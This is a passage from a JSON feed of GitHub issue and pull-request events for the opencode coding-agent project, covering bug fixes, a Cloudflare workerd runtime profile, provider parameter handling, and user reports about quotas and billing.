Mermaid diagram](https://github.com/user-attachments/assets/92963553-c25a-4447-9559-c9d07a4dea1c) ## Flow ```mermaid flowchart LR Source[Original Mermaid statement] --> Mask[Mask label syntax for edge detection] Mask --> Range[Recover label from original source range] Range --> Lines[Split visible lines and italic runs] Lines --> Layout[Measure rank-local clearance] Lines --> Canvas[Write text and attributes to canvas] Canvas --> Styled[Render OpenTUI StyledText] ```",
          "url": "https://github.com/anomalyco/opencode/pull/42103",
          "createdAt": "2026-08-12T18:08:08Z",
          "updatedAt": "2026-08-12T18:28:57Z",
          "timestamp": "2026-08-12T18:28:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:bd4ba88ba4ed67394489",
        "signalId": "github:anomalyco/opencode:issue:42069",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42069",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "if i type something open code does not answer",
          "url": "https://github.com/anomalyco/opencode/issues/42069",
          "createdAt": "2026-08-12T15:54:40Z",
          "updatedAt": "2026-08-12T18:18:40Z",
          "timestamp": "2026-08-12T18:18:40Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "muntasir-cloud",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:00690a7ffa4030ac5f62",
        "signalId": "github:anomalyco/opencode:issue:42071",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42071",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "MON OPEN CODE DESKTOP BUG",
          "text": "Hello, the OpenCode application is glitching for me. When I open it, the chat window appears, but when I try to select a model or a provider, nothing shows up—it only gives me the option to add a provider manually. I’ve tried various things and different methods, but the bug persists. Please help me.",
          "url": "https://github.com/anomalyco/opencode/issues/42071",
          "createdAt": "2026-08-12T15:58:40Z",
          "updatedAt": "2026-08-12T18:18:38Z",
          "timestamp": "2026-08-12T18:18:38Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "m222K564",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c5586decf008aa967ea6",
        "signalId": "github:anomalyco/opencode:pull_request:42075",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42075",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): limit default GPT verbosity",
          "text": "Context: when using Bedrock with a Gateway such as LiteLLM, we see rejection errors from the Bedrock mantle. A fix for now is to create a plugin such as: ```ts // In plugins/gateway-compat.ts import type { Plugin } from \"@opencode-ai/plugin\" /** * gateway-compat: strip parameters the Contentful AI Gateway (LiteLLM) rejects. * * OpenCode auto-adds `textVerbosity: \"low\"` for GPT-5.x models. Via the * OpenAI-compatible provider this becomes `verbosity`, which Bedrock Mantle * behind the gateway rejects. Remove it for all contentful-gateway GPT-5.x * models. */ const GatewayCompatibility: Plugin = async () => ({ \"chat.params\": async (input, output) => { if (input.model.providerID !== \"contentful-gateway\") return if (!input.model.api.id.includes(\"gpt-5\")) return delete output.options.textVerbosity }, }) export default GatewayCompatibility ``` But this PR handles it at the root: opencode ✨ Everything is explained in the plugin comment, but TLDR: OpenCode auto-adds `textVerbosity: \"low\"` for GPT-5.x models. Bedrock rejects the option for some GTP models. Note: reviewed by a human (me) and implemented by latest Luna max ---- Here starts the AI generated part: ## Summary - only add the GPT-5 `textVerbosity` default for provider packages known to support it - avoid forwarding OpenAI-specific `verbosity` through generic OpenAI-compatible providers - preserve the existing OpenAI and Bedrock Mantle behavior - add regression coverage for OpenAI-compatible GPT-5 models ## Testing - `bun test test/provider/transform.test.ts` - `bun typecheck` from `packages/opencode` - `bun turbo typecheck` (pre-push hook)",
          "url": "https://github.com/anomalyco/opencode/pull/42075",
          "createdAt": "2026-08-12T16:07:05Z",
          "updatedAt": "2026-08-12T18:18:34Z",
          "timestamp": "2026-08-12T18:18:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [
            "needs:issue"
          ],
          "author": "Lp-Francois",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:023536a6365306ef94a3",
        "signalId": "github:anomalyco/opencode:pull_request:42078",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42078",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: fix grammar in sdk and models pages",
          "text": "### Type of change - [x] Bug fix (docs grammar) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two English grammar mistakes in the docs: 1. `packages/web/src/content/docs/sdk.mdx` — \"specifying an `format`\" → \"specifying a `format`\" (`format` starts with a consonant, so \"a\" is correct). 2. `packages/web/src/content/docs/models.mdx` — \"the `provider_id` is key from\" → \"the `provider_id` is the key from\" (missing article; the second half of the same sentence already reads \"is the key from `provider.models`\"). ### How did you verify your code works? These are pure doc text changes. `bun typecheck` (30/30 packages) passed via the pre-push hook. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42078",
          "createdAt": "2026-08-12T16:18:03Z",
          "updatedAt": "2026-08-12T18:18:31Z",
          "timestamp": "2026-08-12T18:18:31Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "contributor"
          ],
          "author": "skyzhao1223",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6ad15aad8597abeb8825",
        "signalId": "github:anomalyco/opencode:pull_request:42104",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42104",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): bridge question tool to ACP elicitation",
          "text": "## Summary - Adds `packages/opencode/src/acp/elicitation.ts` — a handler (modelled on `permission.ts`) that translates the `question` tool part into an `unstable_createElicitation` ACP request and maps the client response back to `sdk.question.reply/reject` - Wires the handler into `ACPEvent.Subscription.handleToolPart` — when `toolName === \"question\"` and the state is `running`, the elicitation handler fires instead of the normal `runningTool` path - Extends the `Connection` type in both `event.ts` and `service.ts` to include `unstable_createElicitation` - Preserves the auto-reject fallback when the client does not advertise elicitation support ## Test plan - [x] Accepted elicitation — form schema is correct, answers are mapped back and `sdk.question.reply` is called - [x] Declined elicitation — `sdk.question.reject` is called - [x] Cancelled elicitation — `sdk.question.reject` is called - [x] Client without elicitation support — auto-rejects immediately without calling `unstable_createElicitation` - [x] `unstable_createElicitation` throws — falls back to reject - [x] Multiple questions in one tool call — all map into a single form with one property per question - [x] Multi-select question (`multiple: true`) — uses array schema with `anyOf` items - [x] Unknown session — handler exits early, no calls made - [x] Full ACP test suite passes (136 tests) Fixes #38121",
          "url": "https://github.com/anomalyco/opencode/pull/42104",
          "createdAt": "2026-08-12T18:08:32Z",
          "updatedAt": "2026-08-12T18:14:51Z",
          "timestamp": "2026-08-12T18:14:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "pjaol",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:090e12ddc45f36009601",
        "signalId": "github:anomalyco/opencode:issue:42105",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42105",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Network issue",
          "text": "### Description Hi, I’m having an issue with the free models. When I use a VPN, both MiMo 2.5 Free and DeepSeek V4 Flash Free immediately show “Free usage limit reached,” even after just sending a single message. Without a VPN, they work normally. Thanks!",
          "url": "https://github.com/anomalyco/opencode/issues/42105",
          "createdAt": "2026-08-12T18:13:06Z",
          "updatedAt": "2026-08-12T18:14:22Z",
          "timestamp": "2026-08-12T18:14:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Ermia01",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8f8a3f1e29877a936fee",
        "signalId": "github:anomalyco/opencode:issue:24473",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:24473",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "\"Subscription quota exceeded\" error persists after 2+ days of inactivity (OpenCode Go)",
          "text": "### Description ## Description I am reporting a persistent quota issue with my OpenCode Go subscription. Despite having **zero usage since April 23**, my account is still flagged as \"Subscription quota exceeded\" as of April 26. There is a significant discrepancy between my actual usage history and the dashboard status, preventing me from using the service for over 3 days. I tried to contact the service maintainers through Customer Services or Email, but was unable to find such contact points. ## Data Evidence (from Dashboard) - **Usage History:** The cost graph shows **no activity on April 24, 25, and 26**. - **Weekly Usage:** Currently stuck at **100%**, showing \"Resets in 1 day 14 hours\". - **Rolling Usage:** Shows **0%**, but oddly states \"Resets in 5 hours 0 minutes\" despite no recent activity. - **Error Message:** Terminal continues to display: `Subscription quota exceeded. You can continue using free models.` ## Expected Behavior Since there has been no usage for 3 days, the rolling or weekly quota should have partially or fully reset by now, allowing for new requests. ## Actual Behavior The subscription quota remains exhausted (100%), and the system does not recognize the 3-day period of inactivity, effectively locking the account. ## To note I am currently using the ![oh-my-openagent](https://github.com/code-yeongyu/oh-my-openagent) plugin. ## Screenshots 1. **Usage Dashboard:** Showing 100% weekly usage and stuck reset timers. 2. **Cost Graph:** Showing zero usage from April 24 to April 26. 3. **Terminal Error:** Showing the \"quota exceeded\" message. ### Plugins oh-my-openagent ### OpenCode version 1.14.24 ### Steps to reproduce 1. Use the allocated quota for the OpenCode Go plan (last activity on April 23). 2. Wait for more than 72 hours. 3. Check the usage dashboard and attempt to use Go models (e.g., `kimi-k2.5`, `glm-5`). 4. The quota remains at 100% (Weekly) and access is denied. ### Screenshot and/or share link - image 1 <img width=\"1551\" height=\"732\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e9c3ba91-beb0-4340-a877-6159016b24bd\" /> - image 2 <img width=\"1546\" height=\"876\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a629d07c-25cb-451e-991f-5becdd95693a\" /> - image 3 <img width=\"924\" height=\"52\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/dffdadde-13ef-41a5-bad6-604bb851731c\" /> ### Operating System Ubuntu 24.04 ### Terminal zsh kitty",
          "url": "https://github.com/anomalyco/opencode/issues/24473",
          "createdAt": "2026-04-26T11:58:13Z",
          "updatedAt": "2026-08-12T18:09:24Z",
          "timestamp": "2026-08-12T18:09:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 5
          },
          "labels": [],
          "author": "sanghyunna",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9fdc91d6f21827aa9b46",
        "signalId": "github:anomalyco/opencode:pull_request:42098",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42098",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): move debug overlay into developer tools",
          "text": "## What Move the OpenTUI renderer debug overlay behind the TUI's Developer Tools surface. The Developer Tools **UI** pane now exposes a `Debug overlay` checkbox that stays synchronized with the renderer. The existing `app.debug` command remains available to explicit keybindings, but is no longer globally discoverable in the command palette. ## Before / After **Before:** Searching the global command palette for `debug` exposed `Toggle debug panel` to every user, separate from the developer tools UI. **After:** The command palette no longer lists the renderer overlay. Users who enable Developer Tools can toggle it from **UI → Debug overlay**, while configured `app.debug` keybindings continue to work and update the checkbox state. ## How - `packages/tui/src/app.tsx` marks `app.debug` as hidden from the command palette without removing its keybinding command. - `packages/tui/src/component/devtools-bar.tsx` adds the UI-pane toggle and follows OpenTUI's `DEBUG_OVERLAY_TOGGLE` event so UI state stays accurate regardless of how the overlay changes. ## Scope - Does not persist the overlay across TUI launches. - Does not remove backward compatibility for existing `app.debug` keybindings. ## Testing - `bun run typecheck` in `packages/tui` - `bun run test` in `packages/tui` (683 passed, 5 skipped) - `bun run lint packages/tui/src/app.tsx packages/tui/src/component/devtools-bar.tsx` (0 errors; existing warnings only) - Push hook: full workspace `bun turbo typecheck --concurrency=3` (32 packages passed) - Real PTY at 120×36 and 80×24 with Developer Tools enabled: - searching `debug` omitted `Toggle debug panel` - **UI → Debug overlay** rendered unchecked - toggling showed the renderer stats overlay and checked state - toggling again hid the overlay and restored unchecked state",
          "url": "https://github.com/anomalyco/opencode/pull/42098",
          "createdAt": "2026-08-12T17:53:11Z",
          "updatedAt": "2026-08-12T18:08:27Z",
          "timestamp": "2026-08-12T18:08:27Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8fcfeb79791f5c464324",
        "signalId": "github:anomalyco/opencode:pull_request:41918",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41918",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(server): workerd runtime profile and SDK workerd entrypoint",
          "text": "## What Adds a **workerd runtime profile** so an OpenCode server can boot inside a Cloudflare Durable Object, plus the SDK entrypoint and a CI guard that proves it in a real isolate. The destination is *one OpenCode server per Durable Object* — a Slack bot where each thread is a DO hosting a full server, with OpenCode's database being the DO's own SQLite and no request leaving the isolate. That app lives on a local branch; this PR is the upstream half it needs. Four pieces: | Piece | What it is | | --- | --- | | `packages/server/src/workerd.ts` | The profile: `ServerWorkerd.create(options)` returns the fetch handler for a DO's `fetch()`, with every intentionally-local service replaced | | overrides threading | `createRoutes` / `createEmbeddedRoutes` / `ServerFetch.make` take runtime-profile replacements applied *after* the standard set, so later entries win | | `@opencode-ai/sdk-next/workerd` | The embedded typed client over the workerd profile — same `OpenCode.Interface`, in-isolate transport | | `packages/workerd-spike` | The purity guard: boots core inside real workerd via `@cloudflare/vitest-pool-workers` | ### The profile - **Database** runs on the injected `DurableObjectStorage` SQLite (`Database.layerFromClient` over the merged workerd adapter). - **Native modules** (`#pty`, `#fff`, `#photon-wasm`, `#shell-parser-wasm`, `#process-lock-ffi`) resolve to inert stubs under the `workerd` bundle condition; loopback OAuth servers import `node:http` lazily; `@effect/platform-node` is deep-imported so the barrel's eager `undici` / `node:sqlite` side imports never load. - **Watcher and fff** are disabled through existing option flags; plugin discovery is precompiled-only (`ConfigPluginSource.empty`); MCP is remote-only. - **Shell, FileSystem, FileSystemSearch, Pty** fail with a clear defect until a remote sandbox backs them; **Snapshot and Vcs** degrade to empty results, matching their behavior for locations without a supported VCS. - **Durable events are persisted unconditionally** — that history is exactly what an evicted turn is recovered from, so a runtime that dies without teardown cannot opt out. - `Global` roots every path under one writable directory (tmp on workerd), and health reports `pid: 0` where the runtime has no OS process identity. ### The spike (the heart of this PR) `packages/workerd-spike` runs the full stack inside a **real Durable Object**, all five tests green: 1. Cold boot with all 42 migrations journaled on real DO SQLite, authed health 200 / unauthed 401. 2. Session create over the HTTP API, row persisted. 3. A complete prompt turn against a `fetchMock`'d OpenAI-compatible provider, read back through the durable session log cursor route. 4. A turn that **completes with no request in flight** (prompt, return, sleep, read) — the ack-then-continue shape the Slack flow needs. 5. **Eviction mid-turn**: `DurableObjectState.abort()` between prompt-accepted and turn-complete, then a fresh instance boots over the same storage, resumes the claimed execution, and replays the drain. Test 5 is the interesting one. The durable log stays gapless across the isolate's death: ``` [1 session.input.admitted] [2 session.execution.started] [3 session.instructions.updated] [4 session.input.promoted] ✗ EVICTED ✗ [5 session.synthetic] [6 session.execution.started] [7 session.step.started] [8 session.text.started] [9 session.text.ended] [10 session.step.ended] [11 session.execution.succeeded] ``` A consumer that checkpointed a cursor at seq 4 pre-eviction resumes at exactly 5 — no gaps, no duplicates. The second `session.execution.started` (seq 6) with no terminal event between is the replay signature a projection can key on. ## How The only new seam in shared code is the `overrides` parameter. `ServerFetch.make` stays **eager** — the layer builds in the caller's scope before the handler is returned, as merged in #41896; the profile does not reintroduce a lazy first-request build. `ServerWorkerd.create` returns an `Effect` requiring a `Scope`. A Durable Object holds that scope for the instance's lifetime and never closes it, which is correct: a DO is evicted without teardown, and storage is durable. ## Scope Ported from a local seam branch validated months ago, re-adapted to current head. Several seam pieces turned out to be **superseded by upstream work and were dropped**: - **DO-SQLite adapter** → merged (#41659); this consumes `Database.layerFromClient`. - **Execution journal / `suspendOnStart`** → merged (#41652, #41800); the write-ahead claim is now unconditional, so the profile only opts into the boot-time resume. - **`PluginSupervisor.configured({ dynamic: false })`** → superseded by `ConfigPluginSource.empty`. - **`ModelsDev` `content` / `cache` options** → superseded by the embedded snapshot + KV cache (c254ba8a7f); head's models-dev is already workerd-safe (no flock, no disk). - **Co-tenant table fix, `supportsForeignKeyToggle`, migration `defer_foreign_keys`** → already in v2. - **The seam's lazy `toWebHandlerLayerWith` fetch entry** → superseded by the eager `ServerFetch.make` in #41896. One deliberate deviation: `sdk-next` keeps building its own routes rather than consuming `ServerFetch.make`. The embedded path needs the built context (for `SdkPlugins` registration and the logging context added since the seam) and uses password-less embedded auth, so routing it through `ServerFetch.make` would regress log capture and change auth semantics. It gains the same `overrides` + `resumeSuspendedSessions` hooks instead. ## Testing - `packages/workerd-spike`: **5/5 pass** in a real workerd isolate (vitest-pool-workers). - `packages/server`: 22 pass — the `ServerFetch` tests from #41896 stay green, plus a profile test over a `bun:sqlite`-backed fake DO storage. - `packages/sdk-next`: 13 pass. `packages/core`: 1681 pass. - Repo-wide `bun typecheck`: 32/32 green. `check:generated` clean for both client and www. - `script/workerd-probe.ts` (`bun run probe:workerd`): the graph bundles under the `workerd` condition with no bun builtins statically imported. The probe now distinguishes static from dynamic imports, so a lazily-loaded `bun:sqlite` behind a runtime guard (the v1 legacy-database reader) is reported as `(lazy)` rather than failing. Two CI caveats, neither from this branch: - `unit (windows)` is broken at v2 head itself (three `directoryAutocompleteSearch` path-separator tests); a fix is in flight separately. - The spike is registered as a turbo `test` task so it actually runs in CI on both matrix legs — `turbo test` only runs the tasks declared in `turbo.json`, so without that entry the guard would never fire. It pins `@cloudflare/vitest-pool-workers` 0.12.6 (newer pool/workerd pairings segfault on macOS) with a patch extending the stale workerd builtin allowlist and fixing fallback-service handling of case-insensitive filesystems, `/@fs` ids, JSON requires, and unanchored module-rule globs. Worth watching its first run on the Linux and Windows runners; if the pool proves unreliable on Windows, the task can be scoped to Linux.",
          "url": "https://github.com/anomalyco/opencode/pull/41918",
          "createdAt": "2026-08-12T02:00:22Z",
          "updatedAt": "2026-08-12T18:07:58Z",
          "timestamp": "2026-08-12T18:07:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1a9f940186bcf891746c",
        "signalId": "github:anomalyco/opencode:pull_request:42102",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42102",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(llm): preserve nested OpenAI stream errors",
          "text": "### Issue for this PR Closes #42007 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The nested OpenAI Responses SSE error handling from #36130 (commit bd0dffd) is missing from `dev`. The fix was merged to `v2` but lost during the branch transition — `git merge-base --is-ancestor bd0dffd78 HEAD` returns false on `dev`. OpenAI Responses can deliver stream errors in three shapes: top-level fields (`type`, `code`, `message`), nested under `response.error`, or nested under a top-level `error` envelope. The current `dev` code only handles the first two. When an OpenAI-compatible proxy sends an event-level `error` object (as the official SDK recognizes), the nested `code` and `message` are silently dropped and the user sees a generic \"OpenAI Responses stream error\" instead of the actual cause (e.g. `context_length_exceeded: prompt too long`). This restores the three-shape handling from #36130: - Adds `error: optionalNull(OpenAIResponsesErrorPayload)` to `OpenAIResponsesEvent` - Widens `code` and `param` to `optionalNull` to accept spec-compliant nullable fields - Updates `providerErrorMessage` and `providerError` to check `event.error` before `event.response?.error` Credit to @harshmathurx and @aidenpcline who authored the original fix in #36130. ### How did you verify your code works? - 57 tests pass in `packages/llm/test/provider/openai-responses.test.ts` (0 fail), including three new cases that cover the `event.error` envelope, nullable `code`/`param` fields, and `error: null` fallback - `packages/llm` typecheck clean - Prettier clean on both changed files ### Screenshots / recordings ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42102",
          "createdAt": "2026-08-12T18:05:02Z",
          "updatedAt": "2026-08-12T18:05:02Z",
          "timestamp": "2026-08-12T18:05:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:51f4d94998a38b8cc366",
        "signalId": "github:anomalyco/opencode:pull_request:42101",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42101",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(console): add cors to zen responses",
          "text": "### Issue for this PR Closes #41224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds CORS headers to actual Zen model-list responses, not only OPTIONS preflight responses. The shared helper is also used by the main Zen chat handler response headers so normal GET/POST responses include `Access-Control-Allow-Origin` as browsers require after a successful preflight. This keeps the existing permissive preflight policy (`*`, `GET, POST, OPTIONS`, `Content-Type, Authorization`) and applies it to actual API responses. ### How did you verify your code works? - `cd packages/console/app && bun test test/zenCors.test.ts --timeout 30000` - `cd packages/console/app && bun run typecheck` - `bunx oxlint packages/console/app/src/routes/zen/util/modelsHandler.ts packages/console/app/src/routes/zen/util/handler.ts packages/console/app/test/zenCors.test.ts` - `git diff --check` ### Screenshots / recordings N/A; this is a response-header fix. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42101",
          "createdAt": "2026-08-12T18:03:09Z",
          "updatedAt": "2026-08-12T18:04:36Z",
          "timestamp": "2026-08-12T18:04:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "zcxGGmu",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:24435d3d95c3f423d564",
        "signalId": "github:anomalyco/opencode:pull_request:42095",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42095",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): stop sidecar before quitting",
          "text": "### Issue for this PR Closes #42097 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Linux, closing the desktop app could terminate the Electron NodeService utility process with SIGABRT while local server cleanup was still running. That could trigger systemd-coredump and consume several gigabytes while collecting the dump. This waits for sidecar cleanup before allowing the app to quit. The sidecar reports that cleanup completed instead of exiting itself, and the parent then uses Electron's UtilityProcess.kill() so the process that spawned the utility process also terminates and reaps it. ### How did you verify your code works? - Ran `bun typecheck` in `packages/desktop`. - Ran `bun test src/main/index.test.ts src/main/window-registry.test.ts` (9 passed). - Ran `bun run build` in `packages/desktop`. - Ran the repository-wide pre-push typecheck (30 tasks passed). - Closed the running Linux desktop app and waited 45 seconds; the sidecar exited cleanly and neither `journalctl` nor `coredumpctl` reported a new coredump. ### Screenshots / recordings Not applicable; this is a process lifecycle fix with no UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42095",
          "createdAt": "2026-08-12T17:45:58Z",
          "updatedAt": "2026-08-12T17:57:22Z",
          "timestamp": "2026-08-12T17:57:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "mjnaderi",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1a482c7cf8cf5522f634",
        "signalId": "github:anomalyco/opencode:issue:42097",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42097",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop NodeService aborts on Linux when closing app",
          "text": "### Description Closing OpenCode Desktop on Linux can abort the Electron `node.mojom.NodeService` utility process while local-server cleanup is still running. `systemd-coredump` then processes a multi-gigabyte core; in one reproduction it reached a 4.7 GB memory peak and failed with `No space left on device`. The main process starts asynchronous sidecar cleanup in `before-quit`, but Electron continues quitting before that cleanup completes. The sidecar also calls `process.exit(0)` after reporting `stopped`, so its Electron utility host is not terminated and reaped by the parent. ### Plugins None ### OpenCode version Current `dev` desktop build ### Steps to reproduce 1. Run OpenCode Desktop on Linux and let the local server start. 2. Close the desktop window normally. 3. Check `journalctl` or `coredumpctl` after the app exits. 4. Observe the Electron `node.mojom.NodeService` process terminating with signal 6/ABRT and `systemd-coredump` processing it. ### Screenshot and/or share link Not applicable. Relevant journal output: ```text Process (electron) terminated abnormally with signal 6/ABRT Cannot store coredump: No space left on device systemd-coredump: 4.7G memory peak ``` ### Operating System Linux x86_64 ### Terminal Desktop application",
          "url": "https://github.com/anomalyco/opencode/issues/42097",
          "createdAt": "2026-08-12T17:51:44Z",
          "updatedAt": "2026-08-12T17:52:54Z",
          "timestamp": "2026-08-12T17:52:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "mjnaderi",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:558334575c7a2a229875",
        "signalId": "github:anomalyco/opencode:issue:42053",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42053",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Billing Issue: OpenCode Go Paid $5 Promo, Account Stuck on Free Tier (Invoice NFGKFBRU-0001)",
          "text": "### Description Good day, I am writing to report an issue with my subscription activation for OpenCode Go.I signed up using the first-month promotional offer of $5.00, and my credit card (ending in 3796) was successfully charged $5.00 on August 12, 2026. However, my account profile and API key are still showing as being on the \"Free\" tier, and the application is asking me to subscribe. Upon inspecting my digital receipt generated by Anomaly, there appears to be a backend system mismatch:Invoice Number: NFGKFBRU-0001Receipt Number: 2780-7752Subtotal Listed: $10.00Amount Paid: $5.00It looks like the checkout session automatically applied the standard $10.00 subtotal baseline without factoring in the 50% promotional pricing tier on the invoice itself, even though it correctly processed my card for the $5.00 promo amount. Could you please look into this invoice mismatch and manually sync/verify my subscription status so I can begin using the Go models? Thank you for your time and help. [Receipt-2780-7752.pdf](https://github.com/user-attachments/files/30987112/Receipt-2780-7752.pdf) Best regards, ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42053",
          "createdAt": "2026-08-12T15:19:36Z",
          "updatedAt": "2026-08-12T17:48:08Z",
          "timestamp": "2026-08-12T17:48:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Justsef",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1ecaff923cc7c43f3f6a",
        "signalId": "github:anomalyco/opencode:issue:42054",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42054",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "payment",
          "text": "its asking me to pay for subscription even tho im using your free models",
          "url": "https://github.com/anomalyco/opencode/issues/42054",
          "createdAt": "2026-08-12T15:20:12Z",
          "updatedAt": "2026-08-12T17:48:06Z",
